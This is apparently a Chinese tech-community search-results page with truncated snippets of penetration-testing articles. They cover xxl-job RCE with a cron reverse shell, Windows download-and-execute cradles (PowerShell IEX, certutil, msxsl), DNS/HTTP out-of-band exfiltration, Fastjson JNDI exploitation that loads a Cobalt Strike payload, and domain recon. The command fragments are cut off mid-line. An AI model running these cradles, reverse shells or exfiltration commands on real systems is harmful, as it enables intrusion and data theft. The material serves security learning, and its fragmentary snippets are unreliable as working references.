首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

vulntarget-k

8081、9999 访问8080、8081端口报错404 9999端口报错500,后面根据返回无意中搜到了如下文章,发现情况相符,于是可以确认是xxl-job服务,存在xxl-job RCE未授权远程命令执行...// 分片参数:总分片 } 接着访问一下IP:8080/xxl-job-admin/toLogin任务调度中心登录如下: 尝试弱口令admin/123456登录失败,溜溜梅 再尝试命令执行来反弹...("GLUE(PowerShell)", true, "powershell", ".ps1"); 然后修改glueType为GLUE_SHELL再来尝试一下成功反弹shell POST /run HTTP...Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 于是尝试反弹shell, getruntime 执行命令进行编码或者使用数组的形式命令执行...# 添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误 set xxx "\n\n* * * * * bash -i

1K30

Windows上传并执行恶意代码的N种姿势

下载方法 Powershell powershell是最著名的一种方法了,一般的文件下载命令如下 powershell -exec bypass -c (new-object System.Net.WebClient...可以使用Certutil转储并显示证书颁发机构(CA)配置信息、配置证书服务、备份和恢复CA组件,并验证证书、密钥和证书链。...执行方法 Powershell 对于某些无文件渗透场景,powershell可以直接加载到内存执行是很常见的 powershell IEX (New-Object Net.WebClient...外,win10以上系统可以使用SyncAppvPublishingServer.exe来执行powershell SyncAppvPublishingServer.exe "n;((New-Object...p=555 MSXSL 根据Microsoft的msxsl.exe命令行程序,用户能够使用Microsoft XSL处理器执行命令行可扩展样式表语言(XSL)。

5.1K31

渗透技巧 | Windows上传并执行恶意代码的N种姿势

下载方法 Powershell powershell是最著名的一种方法了,一般的文件下载命令如下 powershell -exec bypass -c (new-object System.Net.WebClient...可以使用Certutil转储并显示证书颁发机构(CA)配置信息、配置证书服务、备份和恢复CA组件,并验证证书、密钥和证书链。...执行方法 Powershell 对于某些无文件渗透场景,powershell可以直接加载到内存执行是很常见的 powershell IEX (New-Object Net.WebClient...外,win10以上系统可以使用SyncAppvPublishingServer.exe来执行powershell SyncAppvPublishingServer.exe "n;((New-Object...p=555 MSXSL 根据Microsoft的msxsl.exe命令行程序,用户能够使用Microsoft XSL处理器执行命令行可扩展样式表语言(XSL)。

3.6K51

cURL-7.72.0初体验(参数写法)

curl的目标是能够顺畅地在这些环境中运行,但有时你的命令行系统会与其他人使用的或文档中记录的不同。 例如,不同的命令行系统中引号的用法可能存在差异。...在Windows的PowerShell这样的环境中,当用户输入curl时,命令行系统可能会优先使用其他工具代替curl。...要想在PowerShell中正确使用curl,需要输入它的全名,包括扩展名:“curl.exe”。 不同的命令行系统允许的最大命令行长度也不相同,并强制用户限制单个命令行的数据量。...这是一种设计选择,它允许你调整curl如何进行协议通信,让你能够以最具创造性的方式与服务器交互。 短选项 命令行选项可以将你想要用curl执行的任务的信息传给curl。...curl的开发人员努力不去改变已有行为。1998年、2003年或2010年编写的命令行都可以不经修改直接使用现今的curl来运行。

91220

带外攻击OOB(RCE无回显骚思路总结)

1.2 缺点:对于不出网服务器没有办法传输,同时需要了解其返回包字段信息,需要使用返回包字段将回显信息带出2.对于不出网机器  使用DNS传输,ICMP传输,powershell中的wget,curl等传输...powershell搭配,但杀毒软件往往禁用powershell,因此利用条件较苛刻3.在线网站DNS/HTTP管道解析经常在拿下shell的时候碰到命令执行无回显的情况,因此为了解决命令执行无回显时,...:1.curl通过curl远程命令执行RCE去靶机执行以下命令通过http记录查看是否执行(最好执行两次),curl走http协议curl http://ip.port.XXXXXX.ceye.io/...DNS管道解析的扩展,结合php命令执行可以使用这种方式进行回显,使用sed命令令回显变长:执行:http://xxx.xxx.xxx.xxx/test.php?...Image.png经过测试,回显只能执行hostname命令,没有办法通过写入命令shell的循环来让其执行多次回显信息,失败。

4.8K40

使用Procrustes从DNS流量中提取数据

Procrustes Procrustes是一个能够自动从DNS流量中提取出数据的Bash脚本,我们可以使用该脚本来检测服务器端执行的Blind命令。...该脚本当前支持SH、Bash和PowerShell,并且兼容exec风格的命令执行,比如说ja*va.lang.Runtime.exec等等。...工具运行演示样例 Unstaged: Staged: 对于它的操作,脚本将我们要在目标服务器上运行的命令作为输入,并根据目标Shell其进行转换,以便允许通过DNS其输出进行过滤。...在命令被转换之后,它被返回给“调度器”。这个调度器是一个由用户提供的程序,负责将命令作为输入,并通过任何必要的方式(例如利用漏洞)在目标服务器上执行。...在目标服务器上执行命令后,它将触发包含数据块的DNS名称服务器的DNS请求。Procrustes将能够监听这些请求,直到用户提供的命令的输出被完全过滤。

1.4K20

框架安全之Fastjson渗透

漏洞出现在Fastjson autoType处理json对象时,没有@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞...利用链结合JNDI注入执行远程命令 先安装Java8u20版本,下面提供便捷代码,将现有的Java删除并安装上Java8u20版本(配合快照使用) cd /opt curl http://www.joaomatosf.com...经测试,使用RMI方式无法执行远程命令 0x04 上线Cobalt Strike 这部分虽然和上面的类似,但记录详细些,以后用得到 需要准备的东西: 1....这里的powershell命令意思是到192.168.112.146主机上下载xigua.exe文件并以xigua.exe文件名存储并执行此文件,执行命令后,不出意外的话将直接上线CS powershell...4)到dnslog.cn上查看靶机是否执行curl命令 可以发现靶机成功执行curl命令,说明存在RCE漏洞 ?

2.9K40

2.Powershell基础入门学习必备语法介绍

Tips : 使用 Get-Help 搜索 PowerShell 命令时,使用更宽泛而不是更具体的搜索信息,例如 Get-Help process。...Online 参数或 Full 参数,并通过管道将结果传递给 Out-GridView; help Get-Command -Full | Out-GridView # 4. Name 参数使用星号...Tips : 更好的选择是使用 Verb 或/和 Noun 参数,因为只有 PowerShell 命令同时具有谓词和名词 。...Restricted: 严格模式,Windows客户端计算机的默认执行策略。允许使用单个命令但不允许使用脚本。...运行空间 在 PS 中,在其中执行管道中每个命令的操作环境。 脚本块 在 PS 编程语言中,可作为单个单元使用的语句或表达式的一个集合。 脚本块可以接受参数并返回值。

4.9K10

内网渗透基石篇—信息收集(下)

二、查找域控制器 1.查找域控制器 执行以下命令,可以看到,域控制器的机器名为DC nltest /DCLIST:hacke ?...执行如下命令,可以看到,域控制器的机器名为"dc" 三、查询所有域用户列表 获取域内的用户和管理员信息 1. 查询所有域用户列表 net user/domain ?...3)收集所有活动域的会话列表 NetSess -h 这个工具,你得先下载,然后才可以使用。(github有) ? 4)交叉引用域管理员列表与活动会话列表 ? 5....\test.txt" # 使用修改组策略的方式限制登录 powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com...-n 1 -a ip 使用arp -a + nbtstat -A ip是否存在主机名为Proxy的主机 IE浏览器的Internet设置(直接连接、PAC文件) 最终用Curl进行确认 12 curl

1.7K20

针对黑客的Windows文件传输总结

1.4从攻击者的HTTP服务器下载文件:cmd.exe 借助 PowerShell 示例,我们可以使用一种技术,它允许我们从 cmd.exe 提示符执行 PowerShell 命令。...要从 cmd.exe 提示符执行 PowerShell 命令,请使用powershell.exe -c ”启动该命令,后跟要执行PowerShell 命令,并用双引号引起来。...要使用curl.exe将文件下载到受害者上,请使用以下命令curl.exe 172.16.1.30/wget.exe -o C:\temp\wget.exe 我特意下载了wget.exe来表示可以…...由于这在 GUI 中非常简单,因此我们将重点关注 PowerShell 和 cmd.exe 方法 ftp.txt 的更改。...4.2上传文件到攻击者的FTP服务器:cmd.exe 我们用于将 ftp.txt 文件制作为“PUT”而不是“GET”的 PowerShell 命令进行了相同的更改,我们还将对 cmd.exe 版本进行更改

42611

powershell学习备忘

powershell学习要点 Powershell基础 基本数学计算 基本数学计算比较简单,不单独说了,参见这里 执行外部命令 可直接执行windows命令命令,甚至可以直接执行cmd命令。...如果一个外部命令必须用引号括起来,为了让powershell执行字符串里的命令,可在字符串前加&,这样即可让powershell执行命令,参见这里 命令集cmdlets cmdlets是Powershell...但是对于一个经常使用powershell命令的人每天敲那么多命令也很麻烦,于是别名就应运而生了。...包含最后一个操作的执行状态。如果最后一个操作成功,则包含 TRUE,失败则包含 FALSE。 $_ 包含管道对象中的当前对象。在对管道中的每个对象或所选对象执行操作的命令中,可以使用此变量。....LogoTestConfig.xml) $xml.LogoTest # 解析IP地址 [Net.IPAddress]$ip='10.3.129.71' 详细参见这里 命令返回数组 当我们把一个外部命令执行结果保存到一个变量中时

12.3K60

1.Powershell基础入门介绍与安装升级

和脚本语言,在PowerShell里随处看到Linux Shell的影子如ls, wget, curl 等。...此脚本通过添加命令、别名、函数、变量、模块和 PowerShell 驱动器来自定义环境。 配置文件脚本让这些自定义每个会话都可用,而不必手动重新创建它们。...PS特性可以直接使用ssh命令 PS C:\Windows\System32> ssh -p 20211 weiyigeek@10.20.172.108 Step 5.PowerShell 包含组策略设置...7.在 Microsoft 商店安装WindowsTerminal支持多种命令执行使用 WeiyiGeek.WindowsTerminal Step 7.提升了使用 Visual Studio Code...PgUp PgDn 显示当前会话的第一个命令和最后一个命令 Enter 执行当前命令 End 将光标移至当前命令的末尾 Del 从右开始删除输入的命令字符 Esc 清空当前命令行 (V) ALT

7K20

WindowsLinux文件下载方式汇总

windows 命令行自带工具 PowerShell PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell...当然,你也可以通过以下命令来远程执行命令,且无文件落地: powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring...rundll32 Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32...PS:如果源代码感兴趣可以查看rundll32 invocation信息的连接 regsvr32 Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令...cURL cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl

1.9K50
领券